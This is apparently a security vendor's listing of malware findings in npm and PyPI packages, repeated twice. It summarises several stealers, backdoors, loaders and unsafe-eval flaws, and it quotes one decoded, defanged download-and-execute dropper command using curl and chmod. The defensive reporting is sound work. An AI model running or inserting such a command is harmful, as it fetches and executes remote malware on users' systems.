Secure your dependencies. Ship with confidence.

The code contains an explicit, targeted, and malicious/undesirable behavior: for Russian-language users on specific country TLDs the library disables page interactions and injects/plays a hardcoded external audio file hosted on flag-gimn.ru. This action is unrelated to the library's purpose, creates a third-party network fetch and unsolicited playback, and persists state in localStorage. Treat this as a high-severity supply-chain compromise; do not use this version in production. Replace with a clean, audited release or remove the geo-targeted audio block.

The code is malicious. It collects system information, encodes it, and then exfiltrates the data via DNS requests to a potentially malicious domain. This behavior is indicative of a backdoor designed to stealthily exfiltrate sensitive information from the system on which it is running.

Live on npm for 1 minute before removal. Socket users were protected even while the package was live.

This assembly contains a highly obfuscated loader/unpacker that reads embedded resources or files, decrypts payloads using a hardcoded symmetric key, and performs unsafe native operations (OpenProcess, WriteProcessMemory, VirtualProtect, LoadLibrary/GetProcAddress, creating delegates from pointers). Those behaviors strongly indicate capabilities for in-memory code injection or runtime patching and are characteristic of malware or malicious toolkits (loaders/injectors). The public licensing API surface appears inert/stubbed, possibly to mask the malicious unpacker. Treat this package as suspicious and high-risk; do not trust or run in production without thorough dynamic analysis in a safe sandbox and full extraction/inspection of embedded resources.

The code exposes powerful administrative actions: arbitrary shell execution, arbitrary file reads, full environment dumps, and building/pushing Docker images to a hardcoded registry. These are not obfuscated but are high-risk capabilities that can be abused for data exfiltration, remote code execution, and supply-chain leakage if the superuser authentication is compromised or misconfigured. The presence of a hardcoded remote image name for docker push is suspicious for unintended outbound artifact exfiltration. Recommendation: avoid including these endpoints in public packages or ensure strict, auditable authentication and input validation; remove hardcoded push targets and avoid returning full environment variables or arbitrary file contents.

The module contains a critical deserialization/code-execution risk: yaml.load/load_all combined with a multi-constructor that evaluates 'self'+tag_suffix via eval() allows arbitrary Python execution when processing crafted YAML. No explicit malware payloads are present in the fragment, but the unsafe constructs enable an attacker to execute arbitrary actions (including data exfiltration, spawning shells, or modifying files) if they can supply or tamper with YAML inputs or saved state. Recommended mitigations: replace yaml.load/load_all with safe_load/safe_load_all; remove or replace eval-based self_constructor with a whitelist mapping of allowed tag suffixes to explicit handlers; validate/sanitize all file inputs and savefile names; remove debug prints and fix the incomplete return and other quality bugs. Treat this package as high-risk until remediated.

This module zips a local directory and uploads it to a specific S3 bucket. The code contains hardcoded AWS credentials and a hardcoded bucket name, which is a severe security issue and could enable data exfiltration if these credentials are valid. There are additional problems: a likely return-value bug (undefined variable s3_ke), possible insufficient path-safety around symlinks, and verbose logging of paths. There is no evidence of obfuscation or active payloads like reverse shells or eval-based code execution. Treat this package as high-risk until credentials are removed/rotated and the code is corrected and reviewed.

Live on PyPI for 5 days, 4 hours and 40 minutes before removal. Socket users were protected even while the package was live.

The code is malicious, as it collects and sends system information to an external server without user consent. The obfuscation and use of suspicious domains indicate a high risk of data exfiltration.

Live on npm for 10 minutes before removal. Socket users were protected even while the package was live.

This module performs deliberate, covert data exfiltration: it immediately collects system-identifying information (hostname, username, CWD), reads /etc/hosts, attempts to obtain the public IP via curl, and sends the collected data to a hardcoded Discord webhook. Behavior is malicious and privacy-invasive; the code acts as a backdoor/stealer and should not be used. Systems that loaded this module should be considered potentially compromised and investigated.

Live on npm for 4 hours and 43 minutes before removal. Socket users were protected even while the package was live.

The code contains a critical security flaw: untrusted input can be executed via eval(op), enabling arbitrary code execution. The presence of an incomplete assertion at the end adds unreliability and potential crashes. While there is a structured path for known operations, the fallback to eval constitutes a severe vulnerability that undermines supply-chain safety for any package exposing decode_op. Recommend removing eval usage, implementing a safe expression evaluator or whitelist, and adding robust input validation and error handling.

The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.

This module performs unsafe deserialization of an opaque cloudpickle byte blob that reconstructs executable code objects. The reconstructed payload contains clear indicators of powerful side-effecting capabilities (shell/process execution, file creation/deletion, PID/persistence management, upload/run behavior) and strings suggesting malicious/persistent behavior. The pattern (opaque blob + direct cloudpickle.loads with no integrity or provenance checks) is a severe supply-chain risk: importing this module instantiates hidden executable artifacts that can perform arbitrary actions. Treat this package as untrusted: do not import or run it in any environment you care about. Remove or replace the unsafe deserialization with auditable, explicit source code or add strong digital-signature verification and strict sandboxing before even considering use.

The code contains a function that sends potentially sensitive data to an external server, which poses a significant security risk. The use of a hardcoded AES key and the transmission of encrypted data without user consent are concerning behaviors.

The fragment is an opaque, binary/packed payload or heavily obfuscated content that cannot be reliably analyzed statically. While this alone does not prove malicious intent, it signals high risk and warrants isolation, request for a readable source or deobfuscated form, and controlled dynamic analysis to determine any harmful behavior or data leakage potential.

The code demonstrates clear malicious behavior by collecting and attempting to exfiltrate system information. The obfuscation further indicates an attempt to conceal this behavior, warranting high scores in malware, obfuscation, and risk categories.

Live on npm for 2 hours and 21 minutes before removal. Socket users were protected even while the package was live.

The code presents a security risk due to the use of execSync to download and execute files from a hardcoded URL without validation. This could lead to the execution of malicious code if the source is compromised.

This script contains malicious code that steals user credentials and modifies system files. It prompts users to enter their Cursor application username and password, then sends these credentials to external domains (t[.]sw2031[.]com and cursor[.]sw2031[.]com). Upon successful authentication, it retrieves a script from the remote server, decrypts it using a hardcoded AES key, and replaces a legitimate application file (/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist/main.js) with the modified code that contains the user's credentials. The script also includes functionality to create backups of the original files and restore them later, which could be used to hide the malicious modifications. This is credential-stealing malware that also functions as a backdoor by modifying legitimate application files.

This code contains clear backdoor-like behavior: plaintext hardcoded Gmail credentials and automatic registration of callbacks that send emails with hostname and task identifiers to an external recipient. That enables covert data exfiltration and remote notification without explicit user consent. The component should be considered malicious or at minimum unacceptable for inclusion in trusted dependencies until credentials are removed and opt-in controls and secure secret handling are implemented.

The purpose of this code appears to be collecting specific environment variables and package information, compressing and encoding it, and sending it over HTTP to a remote domain. The intent and purpose of this behavior are unclear from the provided code fragment alone.

Live on npm for 46 minutes before removal. Socket users were protected even while the package was live.

The code exhibits remote-configurable bot control with privilege management and persistence mechanisms, which together create meaningful abuse potential and supply-chain-like risk if tampered or deployed in uncontrolled environments. While some functionality aligns with legitimate automation, the remote admin/password flow and ability to alter party state remotely constitute a backdoor-like capability. Treat as high-risk; require strict authentication, remove remote password provisioning, harden admin management, audit external endpoints, and limit self-restart behaviors. A thorough code audit and containment in a trusted build process are recommended.

This module actively harvests Discord authentication tokens by attaching to a Discord/Chromium renderer and executing JS that locates an internal getToken function. It also forcefully kills the Discord process to attach. These are direct credential-theft behaviors. Use of this code in projects poses a high risk of unauthorized account access unless used in a controlled, authorized environment with clear user consent. Recommend removing or locking down this functionality and auditing CRD implementation and any callers that handle the returned token.

The code contains an explicit, targeted, and malicious/undesirable behavior: for Russian-language users on specific country TLDs the library disables page interactions and injects/plays a hardcoded external audio file hosted on flag-gimn.ru. This action is unrelated to the library's purpose, creates a third-party network fetch and unsolicited playback, and persists state in localStorage. Treat this as a high-severity supply-chain compromise; do not use this version in production. Replace with a clean, audited release or remove the geo-targeted audio block.

The code is malicious. It collects system information, encodes it, and then exfiltrates the data via DNS requests to a potentially malicious domain. This behavior is indicative of a backdoor designed to stealthily exfiltrate sensitive information from the system on which it is running.

Live on npm for 1 minute before removal. Socket users were protected even while the package was live.

This assembly contains a highly obfuscated loader/unpacker that reads embedded resources or files, decrypts payloads using a hardcoded symmetric key, and performs unsafe native operations (OpenProcess, WriteProcessMemory, VirtualProtect, LoadLibrary/GetProcAddress, creating delegates from pointers). Those behaviors strongly indicate capabilities for in-memory code injection or runtime patching and are characteristic of malware or malicious toolkits (loaders/injectors). The public licensing API surface appears inert/stubbed, possibly to mask the malicious unpacker. Treat this package as suspicious and high-risk; do not trust or run in production without thorough dynamic analysis in a safe sandbox and full extraction/inspection of embedded resources.

The code exposes powerful administrative actions: arbitrary shell execution, arbitrary file reads, full environment dumps, and building/pushing Docker images to a hardcoded registry. These are not obfuscated but are high-risk capabilities that can be abused for data exfiltration, remote code execution, and supply-chain leakage if the superuser authentication is compromised or misconfigured. The presence of a hardcoded remote image name for docker push is suspicious for unintended outbound artifact exfiltration. Recommendation: avoid including these endpoints in public packages or ensure strict, auditable authentication and input validation; remove hardcoded push targets and avoid returning full environment variables or arbitrary file contents.

The module contains a critical deserialization/code-execution risk: yaml.load/load_all combined with a multi-constructor that evaluates 'self'+tag_suffix via eval() allows arbitrary Python execution when processing crafted YAML. No explicit malware payloads are present in the fragment, but the unsafe constructs enable an attacker to execute arbitrary actions (including data exfiltration, spawning shells, or modifying files) if they can supply or tamper with YAML inputs or saved state. Recommended mitigations: replace yaml.load/load_all with safe_load/safe_load_all; remove or replace eval-based self_constructor with a whitelist mapping of allowed tag suffixes to explicit handlers; validate/sanitize all file inputs and savefile names; remove debug prints and fix the incomplete return and other quality bugs. Treat this package as high-risk until remediated.

This module zips a local directory and uploads it to a specific S3 bucket. The code contains hardcoded AWS credentials and a hardcoded bucket name, which is a severe security issue and could enable data exfiltration if these credentials are valid. There are additional problems: a likely return-value bug (undefined variable s3_ke), possible insufficient path-safety around symlinks, and verbose logging of paths. There is no evidence of obfuscation or active payloads like reverse shells or eval-based code execution. Treat this package as high-risk until credentials are removed/rotated and the code is corrected and reviewed.

Live on PyPI for 5 days, 4 hours and 40 minutes before removal. Socket users were protected even while the package was live.

The code is malicious, as it collects and sends system information to an external server without user consent. The obfuscation and use of suspicious domains indicate a high risk of data exfiltration.

Live on npm for 10 minutes before removal. Socket users were protected even while the package was live.

This module performs deliberate, covert data exfiltration: it immediately collects system-identifying information (hostname, username, CWD), reads /etc/hosts, attempts to obtain the public IP via curl, and sends the collected data to a hardcoded Discord webhook. Behavior is malicious and privacy-invasive; the code acts as a backdoor/stealer and should not be used. Systems that loaded this module should be considered potentially compromised and investigated.

Live on npm for 4 hours and 43 minutes before removal. Socket users were protected even while the package was live.

The code contains a critical security flaw: untrusted input can be executed via eval(op), enabling arbitrary code execution. The presence of an incomplete assertion at the end adds unreliability and potential crashes. While there is a structured path for known operations, the fallback to eval constitutes a severe vulnerability that undermines supply-chain safety for any package exposing decode_op. Recommend removing eval usage, implementing a safe expression evaluator or whitelist, and adding robust input validation and error handling.

The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.

This module performs unsafe deserialization of an opaque cloudpickle byte blob that reconstructs executable code objects. The reconstructed payload contains clear indicators of powerful side-effecting capabilities (shell/process execution, file creation/deletion, PID/persistence management, upload/run behavior) and strings suggesting malicious/persistent behavior. The pattern (opaque blob + direct cloudpickle.loads with no integrity or provenance checks) is a severe supply-chain risk: importing this module instantiates hidden executable artifacts that can perform arbitrary actions. Treat this package as untrusted: do not import or run it in any environment you care about. Remove or replace the unsafe deserialization with auditable, explicit source code or add strong digital-signature verification and strict sandboxing before even considering use.

The code contains a function that sends potentially sensitive data to an external server, which poses a significant security risk. The use of a hardcoded AES key and the transmission of encrypted data without user consent are concerning behaviors.

The fragment is an opaque, binary/packed payload or heavily obfuscated content that cannot be reliably analyzed statically. While this alone does not prove malicious intent, it signals high risk and warrants isolation, request for a readable source or deobfuscated form, and controlled dynamic analysis to determine any harmful behavior or data leakage potential.

The code demonstrates clear malicious behavior by collecting and attempting to exfiltrate system information. The obfuscation further indicates an attempt to conceal this behavior, warranting high scores in malware, obfuscation, and risk categories.

Live on npm for 2 hours and 21 minutes before removal. Socket users were protected even while the package was live.

The code presents a security risk due to the use of execSync to download and execute files from a hardcoded URL without validation. This could lead to the execution of malicious code if the source is compromised.

This script contains malicious code that steals user credentials and modifies system files. It prompts users to enter their Cursor application username and password, then sends these credentials to external domains (t[.]sw2031[.]com and cursor[.]sw2031[.]com). Upon successful authentication, it retrieves a script from the remote server, decrypts it using a hardcoded AES key, and replaces a legitimate application file (/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist/main.js) with the modified code that contains the user's credentials. The script also includes functionality to create backups of the original files and restore them later, which could be used to hide the malicious modifications. This is credential-stealing malware that also functions as a backdoor by modifying legitimate application files.

This code contains clear backdoor-like behavior: plaintext hardcoded Gmail credentials and automatic registration of callbacks that send emails with hostname and task identifiers to an external recipient. That enables covert data exfiltration and remote notification without explicit user consent. The component should be considered malicious or at minimum unacceptable for inclusion in trusted dependencies until credentials are removed and opt-in controls and secure secret handling are implemented.

The purpose of this code appears to be collecting specific environment variables and package information, compressing and encoding it, and sending it over HTTP to a remote domain. The intent and purpose of this behavior are unclear from the provided code fragment alone.

Live on npm for 46 minutes before removal. Socket users were protected even while the package was live.

The code exhibits remote-configurable bot control with privilege management and persistence mechanisms, which together create meaningful abuse potential and supply-chain-like risk if tampered or deployed in uncontrolled environments. While some functionality aligns with legitimate automation, the remote admin/password flow and ability to alter party state remotely constitute a backdoor-like capability. Treat as high-risk; require strict authentication, remove remote password provisioning, harden admin management, audit external endpoints, and limit self-restart behaviors. A thorough code audit and containment in a trusted build process are recommended.

This module actively harvests Discord authentication tokens by attaching to a Discord/Chromium renderer and executing JS that locates an internal getToken function. It also forcefully kills the Discord process to attach. These are direct credential-theft behaviors. Use of this code in projects poses a high risk of unauthorized account access unless used in a controlled, authorized environment with clear user consent. Recommend removing or locking down this functionality and auditing CRD implementation and any callers that handle the returned token.